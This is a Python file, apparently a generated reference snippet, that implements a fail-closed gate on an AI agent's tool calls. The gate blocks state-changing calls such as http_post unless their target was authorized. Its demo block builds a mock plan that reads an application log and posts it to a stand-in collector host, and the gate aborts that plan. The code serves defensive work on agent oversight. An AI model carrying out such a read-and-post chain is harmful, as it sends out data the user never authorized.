# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/in-what-scenarios-must-an-instance-treat-litmus-adversarial-suite-harm-elicitation-as-a-boundary-condition-rather-than-a-capability-test.md
# Remnant Warrant:    https://corpusfetch.com/c/in-what-scenarios-must-an-instance-treat-litmus-adversarial-suite-harm-elicitation-as-a-boundary-condition-rather-than-a-capability-test.warrant.json
# Markdown SHA-256:   d76895219b943fe1dc7c5e6064d98dc3f1ec42442b168c7a4bb319f0ea232424
# Code AST SHA-256:   5272219243cc7290c6ff837dd394b8fce5562719db867794794785c18b14ef93
# Verified Classes:   CommitBoundaryViolation
# Defensive Guards:   3 fail-closed invariants (zero external deps)

class CommitBoundaryViolation(RuntimeError):
    """Raised when a commit-boundary tool call is emitted without a resolved target check."""
    pass


# Tools whose effect is reversible and may be deliberated on after the fact.
UPSTREAM_TOOLS = {"read_file", "draft_message", "dry_run", "scratch_write"}

# Tools that mutate durable state or cross a trust boundary.
COMMIT_TOOLS = {"http_post", "send_message", "durable_write", "credential_use"}


def authorize_tool_call(tool_name: str, args: dict, authorized_targets: set[str]) -> bool:
    """
    Gate a single tool call against the commit boundary.

    Upstream calls are always allowed (their effects are reversible).
    Commit calls are allowed only if their target is within the set of
    targets the task explicitly authorized; otherwise the call must be
    withheld BEFORE emission, not refused after execution.
    """
    if tool_name in UPSTREAM_TOOLS:
        return True

    if tool_name not in COMMIT_TOOLS:
        # Unknown tool: treat as commit-boundary by default. Fail closed.
        raise CommitBoundaryViolation(
            f"tool {tool_name!r} is not classified; refusing to authorize "
            f"an unclassified call at the commit boundary"
        )

    target = args.get("target") or args.get("url") or args.get("destination")
    if target is None:
        raise CommitBoundaryViolation(
            f"commit-boundary tool {tool_name!r} invoked without a resolvable "
            f"target; cannot verify trust boundary, withholding call"
        )

    if target not in authorized_targets:
        raise CommitBoundaryViolation(
            f"commit-boundary tool {tool_name!r} targets {target!r}, which is "
            f"outside the task's authorized target set {sorted(authorized_targets)}; "
            f"withholding call before execution"
        )

    return True


def execute_plan(plan: list[dict], authorized_targets: set[str]) -> list[str]:
    """
    Execute a multi-call plan, gating every call at the commit boundary.

    The key property: a CommitBoundaryViolation aborts the plan BEFORE the
    offending call is emitted, so no side effect lands and no post-hoc
    refusal is needed. This is the invariant that a mocked LITMUS harness
    cannot exercise, and the one a live harness will catch.
    """
    executed: list[str] = []
    for step in plan:
        tool = step["tool"]
        args = step.get("args", {})
        authorize_tool_call(tool, args, authorized_targets)
        executed.append(f"{tool}({args})")
    return executed


# Demonstration of the failure the gate prevents:
# a plan where each call is individually benign but the join exfiltrates.
if __name__ == "__main__":
    authorized = {"/tmp/scratch"}  # task authorized only local scratch
    plan = [
        {"tool": "read_file", "args": {"path": "/var/log/app.log"}},
        {"tool": "durable_write", "args": {"target": "/tmp/scratch/archive.tar"}},
        {"tool": "http_post", "args": {"target": "https://collector.example/upload"}},
    ]
    try:
        execute_plan(plan, authorized)
    except CommitBoundaryViolation as e:
        # The exfiltration never committed; the violation fired upstream of it.
        print(f"plan aborted before commit: {e}")
